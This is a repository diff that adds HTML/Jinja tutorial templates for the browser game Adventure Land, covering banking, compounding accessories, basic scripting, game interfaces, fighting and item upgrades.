<p style='margin-top: 16px; margin-bottom: 16px; line-height: 16px'><span style='font-size: 80px; color:#4A4A4A;' class='tuttask tuttask{{task}}'>o</span> <span style='vertical-align:text-top; color: #DC4C6E'>{{task_name(task)}}</span> <span style='vertical-align:text-top; color:#85C76B; display:none' class='tuttaskd tuttaskd{{task}}'>DONE</span></p>
|
||||
{% if task == "bank" %}
|
||||
<p>The bank is to the right of the town square. <span class='elabel' onclick="code_eval('smart_move("bank")')">Move There</span></p>
|
||||
{% elif task == "store" %}
|
||||
<p>Store an item with one of the clerks. Two of the clerks are unlocked. You need to unlock the others with gold or shells.</p>
|
||||
{% elif task == "deposit" %}
|
||||
<p>Deposit gold to Mr. Rich at the end of the hallway.</p>
|
||||
{% endif %}
|
||||
<div style='margin-bottom: 16px'></div>
|
||||
{% if not loop.last %}<div style='margin-left:-24px; margin-right: -24px; border-bottom: 5px solid gray'></div>{% endif %}
|
||||
{% endfor %}
|
||||
@@ -0,0 +1,28 @@
|
||||
<p>For accessories there's an entirely different system. You can compound 3 accessories of the same level to make a higher level, stronger version. Whenever you gather 3 accessories of the same kind that you don't equip, combine them to make a stronger accessory and free up inventory space!</p>
|
||||
|
||||
<p>You'll just need gold to buy the gear and scrolls, so leave your character with Code open so your character farms gold.</p>
|
||||
|
||||
{% for task in tutorial_data("compound").tasks %}
|
||||
{% if loop.first %}<div style='margin-left:-24px; margin-right: -24px; border-bottom: 5px solid gray'></div>{% endif %}
|
||||
<p style='margin-top: 16px; margin-bottom: 16px; line-height: 16px'><span style='font-size: 80px; color:#4A4A4A;' class='tuttask tuttask{{task}}'>o</span> <span style='vertical-align:text-top; color: #DC4C6E'>{{task_name(task)}}</span> <span style='vertical-align:text-top; color:#85C76B; display:none' class='tuttaskd tuttaskd{{task}}'>DONE</span></p>
|
||||
{% if task == "buycscroll0" %}
|
||||
<p>Compound Scroll's are 6,400 gold each. <span class='elabel' onclick="code_eval('smart_move("scrolls")')">Travel to the NPC</span></p>
|
||||
<p style='line-height: 1px;'><span class='spscrolls'></span> => <span class="eitemcscroll0"></span></p>
|
||||
{% elif task == "compound" %}
|
||||
<p>Visit Cue in town with 3 accessories of the same kind and a Compound Scroll.</p>
|
||||
<p style='line-height: 1px;'><span class='spupgrade'></span> => <span class="eitemringsj"></span> + <span class="eitemringsj"></span> + <span class="eitemringsj"></span> + <span class="eitemcscroll0"></span> => <span class="eitemringsj1"></span></p>
|
||||
{% endif %}
|
||||
<div style='margin-bottom: 16px'></div>
|
||||
{% if not loop.last %}<div style='margin-left:-24px; margin-right: -24px; border-bottom: 5px solid gray'></div>{% endif %}
|
||||
{% endfor %}
|
||||
|
||||
<script>
|
||||
$(".spupgrade").html(sprite(G.npcs.newupgrade.skin,{height:52}));
|
||||
$(".spscrolls").html(sprite(G.npcs.scrolls.skin,{height:52,width:58}));
|
||||
["ringsj"].forEach(function(e){
|
||||
$(".eitem"+e+"1").html(item_container({skin:G.items[e].skin},{name:e,level:1}));
|
||||
});
|
||||
["cscroll0","ringsj"].forEach(function(e){
|
||||
$(".eitem"+e).html(item_container({skin:G.items[e].skin}));
|
||||
});
|
||||
</script>
|
||||
@@ -0,0 +1,29 @@
|
||||
<p>JavaScript is a very very practical language. You don't have to know much about it to use it. It's a scripting language, meaning that you can also run things dynamically.</p>
|
||||
|
||||
{% for task in tutorial_data("hellocode").tasks %}
|
||||
{% if loop.first %}<div style='margin-left:-24px; margin-right: -24px; border-bottom: 5px solid gray'></div>{% endif %}
|
||||
<p style='margin-top: 16px; margin-bottom: 16px; line-height: 16px'><span style='font-size: 80px; color:#4A4A4A;' class='tuttask tuttask{{task}}'>o</span> <span style='vertical-align:text-top; color: #DC4C6E'>{{task_name(task)}}</span> <span style='vertical-align:text-top; color:#85C76B; display:none' class='tuttaskd tuttaskd{{task}}'>DONE</span></p>
|
||||
{% if task == "engage" %}
|
||||
Just open the Code, and click Engage! at the bottom right corner. Without any modifications to the default code. You won't even feel it's working, it will just use potions if you are down.
|
||||
<div class='mb15'></div>
|
||||
<div class='gamebutton gamebutton-small' style='color: rgb(228, 139, 58);'>Engage!</div>
|
||||
<div class='mb15'></div>
|
||||
<span class='hlabel'>Hint:</span> If your keyboard is English, the |\ key is a shortcut to quickly engage/disengage code.
|
||||
{% elif task == "x" %}
|
||||
Javascript is very flexible, so you can run snippets any time. If your code is already running, they are executed in the same environment. So you can dynamically affect things within your running Code too!
|
||||
<div class='mb15'></div>
|
||||
For this exercise tho, we are doing something simple, just a basic code to make your character move up.
|
||||
<div class='mb15'></div>
|
||||
<div class='code'>
|
||||
move( character.x , character.y - 10 );
|
||||
</div>
|
||||
<div class='mb15'></div>
|
||||
Press X at the top right corner of the screen, copy paste the <span class='rlabel' onclick="render_function_reference($(this).html())">move</span> command from above, and just press EXECUTE!
|
||||
<div class='mb15'></div>
|
||||
<div class='gamebutton'>X</div> and <div class='gamebutton'>EXECUTE</div>
|
||||
<div class='mb15'></div>
|
||||
<span class='hlabel'>Hint:</span> If your keyboard is English, the ,< key is a shortcut to quickly open the Snippet interface.
|
||||
{% endif %}
|
||||
<div style='margin-bottom: 16px'></div>
|
||||
{% if not loop.last %}<div style='margin-left:-24px; margin-right: -24px; border-bottom: 5px solid gray'></div>{% endif %}
|
||||
{% endfor %}
|
||||
@@ -0,0 +1,9 @@
|
||||
<div class='mb15'></div>
|
||||
Hello there!
|
||||
<div class='mb15'></div>
|
||||
You've discovered Adventure Land's Tutorial! This Tutorial will walk you through the basics of the game, step by step. You will complete the tasks both manually, and via the provided Code pieces.
|
||||
<div class='mb15'></div>
|
||||
This tutorial is completely optional, but along the way, you'll receive small rewards for completion!
|
||||
<div class='mb15'></div>
|
||||
<span class="hlabel">Ps.</span> If you don't like tutorials, you can hide the Tutorial from: <div class='gamebutton gamebutton-small'>CONF</div> > <div class='gamebutton gamebutton-small'>Advanced Settings</div>
|
||||
<div class='mb15'></div>
|
||||
@@ -0,0 +1,57 @@
|
||||
<p>In this step, you are going to discover the various game interfaces! To complete each step, close the tutorial and open that interface once. Keep in mind that ESC/Escape key closes anything.</p>
|
||||
|
||||
{% for task in tutorial_data("interface").tasks %}
|
||||
{% if loop.first %}<div style='margin-left:-24px; margin-right: -24px; border-bottom: 5px solid gray'></div>{% endif %}
|
||||
<p style='margin-top: 16px; margin-bottom: 16px; line-height: 16px'><span style='font-size: 80px; color:#4A4A4A;' class='tuttask tuttask{{task}}'>o</span> <span style='vertical-align:text-top; color:#767E92; color: #DC4C6E'>{{task_name(task)}}</span> <span style='vertical-align:text-top; color:#85C76B; display:none' class='tuttaskd tuttaskd{{task}}'>DONE</span></p>
|
||||
{% if task == "character" %}
|
||||
You can press your character name on the bottom center of the screen to focus your character.
|
||||
<div class='mb15'></div>
|
||||
<div class='gamebutton gamebutton-small'>CharacterName</div>
|
||||
{% elif task == "inventory" %}
|
||||
To open your inventory, press the indicator that shows your inventory status. It's in the bottom center of the screen too.
|
||||
<div class='mb15'></div>
|
||||
<div style="display: inline-block; background: black; padding: 2px; border: 4px solid gray; color: white; font-size: 30px; text-align: center;" class="bshadow2">
|
||||
<div style="vertical-align: middle; height: 30px; font-size: 30px; line-height: 30px; width: 125px; background: #6A6A6A; margin-top: -2px" class="tint ptint inline-block">
|
||||
<span class="invui ontint">INV XY/42</span>
|
||||
</div>
|
||||
</div>
|
||||
{% elif task == "stats" %}
|
||||
To see your character stats in more detail, press the XP bar on the right bottom of the screen.
|
||||
<div class='mb15'></div>
|
||||
<div style="background: black; padding: 2px; width: 316px; border: 5px solid gray; display: block; position: relative;" class="inline-block bshadow xpsui">
|
||||
<div style="background: rgb(22, 109, 17); width: 50%; height: 30px;"></div>
|
||||
<div style="position: absolute; width: 316px; top: 2px; left: 0px; height: 30px; color: white; vertical-align: middle; line-height: 30px; text-align: center; font-size: 30px" id="xpui">LV20 50%</div>
|
||||
</div>
|
||||
{% elif task == "skills" %}
|
||||
You can use skills, set your skillbar, edit the keymapping from the SKILLS interface. You can open it from the top right button.
|
||||
<div class='mb15'></div>
|
||||
<div class='gamebutton'>SKILLS</div>
|
||||
{% elif task == "guide" %}
|
||||
The game guide aims to provide a complete and easy access to everything about the game. It's at the top right too.
|
||||
<div class='mb15'></div>
|
||||
<div class='gamebutton'>GUIDE</div>
|
||||
{% elif task == "com" %}
|
||||
The communicator lets you see everyone on the server you are currently in. Show you where your friends are. See all the servers and lets you switch between them. See all the merchants in the game and their items. See your own characters and deploy them. See all the chatter on all the servers. Send and receive mail. It's at the top right too.
|
||||
<div class='mb15'></div>
|
||||
<div class='gamebutton'>COM</div>
|
||||
{% elif task == "code" %}
|
||||
Oh, the CODE. Just open it once for now from the top right of the screen. We'll come back in detail :)
|
||||
<div class='mb15'></div>
|
||||
<div class='gamebutton'>CODE</div>
|
||||
{% elif task == "travel" %}
|
||||
Travel is a practical interface that let's you easily tap into the <span class='rlabel' onclick="render_function_reference($(this).html())">smart_move</span> routine of Code to travel within the game. If you want to discover the game, you can just select a random map and let TRAVEL take you there. Again, top right.
|
||||
<div class='mb15'></div>
|
||||
<div class='gamebutton'>TRAVEL</div>
|
||||
{% elif task == "settings" %}
|
||||
CONF is where you'll find games' settings and preferences. Currently it's very basic.
|
||||
<div class='mb15'></div>
|
||||
<div class='gamebutton'>CONF</div>
|
||||
{% endif %}
|
||||
<div style='margin-bottom: 16px'></div>
|
||||
{% if not loop.last %}<div style='margin-left:-24px; margin-right: -24px; border-bottom: 5px solid gray'></div>{% endif %}
|
||||
{% endfor %}
|
||||
|
||||
{#
|
||||
Doesn't look as good as a tick
|
||||
<span style="color: green; position: absolute; left: 0px; top: 26px; opacity: 0.9; display: none" class='tutstask tutstask{{task}}'>#</span>
|
||||
#}
|
||||
@@ -0,0 +1,18 @@
|
||||
<p>For this step, you need to be at the starting/spawn area. <span class='elabel' onclick="code_eval('smart_move("goo")')">Move There</span></p>
|
||||
|
||||
{% for task in tutorial_data("learntofight").tasks %}
|
||||
{% if loop.first %}<div style='margin-left:-24px; margin-right: -24px; border-bottom: 5px solid gray'></div>{% endif %}
|
||||
<p style='margin-top: 16px; margin-bottom: 16px; line-height: 16px'><span style='font-size: 80px; color:#4A4A4A;' class='tuttask tuttask{{task}}'>o</span> <span style='vertical-align:text-top; color: #DC4C6E'>{{task_name(task)}}</span> <span style='vertical-align:text-top; color:#85C76B; display:none' class='tuttaskd tuttaskd{{task}}'>DONE</span></p>
|
||||
{% if task == "killagoo" %}
|
||||
<p><span class='spgoo'></span> Defeat your first Goo. Left click to target the Goo. Right click to attack.</p>
|
||||
{% elif task == "firstloot" %}
|
||||
<p><span class='spchest6'></span> Loot the chest by simply clicking on it!</p>
|
||||
{% endif %}
|
||||
<div style='margin-bottom: 16px'></div>
|
||||
{% if not loop.last %}<div style='margin-left:-24px; margin-right: -24px; border-bottom: 5px solid gray'></div>{% endif %}
|
||||
{% endfor %}
|
||||
|
||||
<script>
|
||||
$(".spgoo").html(sprite("goo",{height:28}));
|
||||
$(".spchest6").html(sprite("chest6",{height:33}));
|
||||
</script>
|
||||
@@ -0,0 +1 @@
|
||||
<p>It's time to move</p>
|
||||
@@ -0,0 +1,5 @@
|
||||
<div class='mb15'></div>
|
||||
This is the end of our short tutorial for now, as you've no doubt noticed, it's a work in progress.
|
||||
<div class='mb15'></div>
|
||||
When new steps are added, they will be available for you even though you've completed what's available right now!
|
||||
<div class='mb15'></div>
|
||||
@@ -0,0 +1,40 @@
|
||||
<p>You can upgrade weapons and armor with upgrade scrolls, after each level the items become stronger, yet the chances become lower and lower. If the upgrade fails, the item is lost!</p>
|
||||
|
||||
<p>When you are first starting, the most effective item is your weapon, so start by getting your weapon to +7. Then buy NPC gear and get each of them to +7 too. <span class='elabel' onclick="code_eval('smart_move("scrolls")')">Travel to the NPCs</span></p>
|
||||
<span class='spbasics'></span> <span class="eitembow"></span> <span class="eitemblade"></span> <span class="eitemstaff"></span> <span class="eitemhelmet"></span> <span class="eitemcoat"></span> <span class="eitemgloves"></span> <span class="eitempants"></span> <span class="eitemshoes"></span>
|
||||
|
||||
<p>You'll just need gold to buy the gear and scrolls, so leave your character with Code open so your character farms gold.</p>
|
||||
|
||||
{% for task in tutorial_data("upgrade").tasks %}
|
||||
{% if loop.first %}<div style='margin-left:-24px; margin-right: -24px; border-bottom: 5px solid gray'></div>{% endif %}
|
||||
<p style='margin-top: 16px; margin-bottom: 16px; line-height: 16px'><span style='font-size: 80px; color:#4A4A4A;' class='tuttask tuttask{{task}}'>o</span> <span style='vertical-align:text-top; color: #DC4C6E'>{{task_name(task)}}</span> <span style='vertical-align:text-top; color:#85C76B; display:none' class='tuttaskd tuttaskd{{task}}'>DONE</span></p>
|
||||
{% if task == "buyscrolls" %}
|
||||
<p>First you need to buy scrolls from the NPC in Town. Basic scrolls are 1,000 gold each.</p>
|
||||
<span class='spscrolls'></span> <span class="eitemscroll0"></span>
|
||||
{% elif task == "upgrade" %}
|
||||
<p>Visit Cue in town to upgrade a weapon from +0 to +1. After +7, you'll need to use more expensive High Upgrade Scroll's.</p>
|
||||
<p style='line-height: 48px'><span class="eitembow0"></span> + <span class="eitemscroll0"></span> => <span class="eitembow1"></span></p>
|
||||
<div>
|
||||
<div style='padding: 0px; border: 4px solid #2B5B89; display: inline-block; font-size: 0px'><img src="http://lh3.googleusercontent.com/h7ttABnKxQz0ca0p6jnq1DG5iNLw4Pac5Z1Bo800cRpxP2b9k-SQqY7yuYRVPLRIvCAvVBe3s2_EBUBR1TF3XptKR5jewcY8r9B1Xvr_dkKZ3ZE=s0" style='height: 198px'/></div>
|
||||
<div style='padding: 0px; border: 4px solid #2B5B89; display: inline-block; font-size: 0px'><img src="http://lh3.googleusercontent.com/qhSgjFF4Qp94CeS-Dc62PgZU9LANN68x6GCrBdPVvVrQYOlHSGEpNb8sP926OLbtKesfQA8Elc9Ycgm5l1SO-4yvV7dxpNMc7cvJCPKvTGdZCw=s0" style='height: 198px'/></div>
|
||||
</div>
|
||||
{% elif task == "addstats" %}
|
||||
<p><span class="eitemdexscroll"></span> <span class="eitemintscroll"></span> <span class="eitemstrscroll"></span> Use one of these scrolls to add stats to your upgraded armor. Your main stats increase your damage and attributes.</p>
|
||||
<p style='line-height: 48px'><span class="eitempants"></span> + <span class="eitemdexscroll"></span> => <span class="eitempants"></span></p>
|
||||
{% endif %}
|
||||
<div style='margin-bottom: 16px'></div>
|
||||
{% if not loop.last %}<div style='margin-left:-24px; margin-right: -24px; border-bottom: 5px solid gray'></div>{% endif %}
|
||||
{% endfor %}
|
||||
|
||||
<script>
|
||||
$(".spbasics").html(sprite(G.npcs.basics.skin));
|
||||
$(".spscrolls").html(sprite(G.npcs.scrolls.skin,{width:58}));
|
||||
["bow","blade","staff","shoes","pants","helmet","gloves","coat"].forEach(function(e){
|
||||
$(".eitem"+e).html(item_container({skin:G.items[e].skin},{name:e,level:7}));
|
||||
});
|
||||
["scroll0","dexscroll","intscroll","strscroll"].forEach(function(e){
|
||||
$(".eitem"+e).html(item_container({skin:G.items[e].skin}));
|
||||
});
|
||||
$(".eitembow0").html(item_container({skin:G.items['bow'].skin},{name:'bow',level:0}));
|
||||
$(".eitembow1").html(item_container({skin:G.items['bow'].skin},{name:'bow',level:1}));
|
||||
</script>
|
||||
Reference in New Issue
Block a user